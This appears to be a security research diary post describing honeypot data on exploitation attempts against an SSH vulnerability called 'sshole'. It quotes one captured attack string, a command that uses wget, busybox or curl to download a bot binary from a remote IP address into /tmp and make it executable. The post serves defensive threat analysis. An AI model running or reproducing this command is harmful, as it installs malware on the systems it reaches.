Our honeypots use "Cowrie" to collect SSH data. With the emergence of the "sshole" vulnerability last week, we are now seeing an increase in attempts to exploit the vulnerability. Our data is a bit limited in this respect. Our honeypots collect only the first 255 characters of SSH passwords. Longer passwords are highly unusual and not used for the usual password brute-forcing we observe.

Our data starts showing the increase of the use of long passwords on November 1st. Since then, the number of requests has been increasing:

Raw Data:

The initial passwords we saw on November 1st do not appear to be related to the exploit. Ever so often, buggy brute force scripts enter commands intended for the post-login shell in the password field. Interestingly, these "passwords" may actually have worked, allowing these buggy scripts to run.

A typical "buggy" password is:

cd /tmp; (wget -q http://156.238.252.37:8000/bot.x86_64 -O /tmp/b 2>/dev/null || busybox wget -q http://156.238.252.37:8000/bot.x86_64 -O /tmp/b 2>/dev/null || curl -sk http://156.238.252.37:8000/bot.x86_64 -o /tmp/b 2>/dev/null); chmod 777 /tmp/b 2>/dev/

The first actual exploit attempt for sshole arrived on November 5th, with attempts that used an all "A" password. Here is a list with initial scanners:

I expect quite a few of these login attempts were successful for our honeypots, and I will follow up with more details as I extract them. 

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|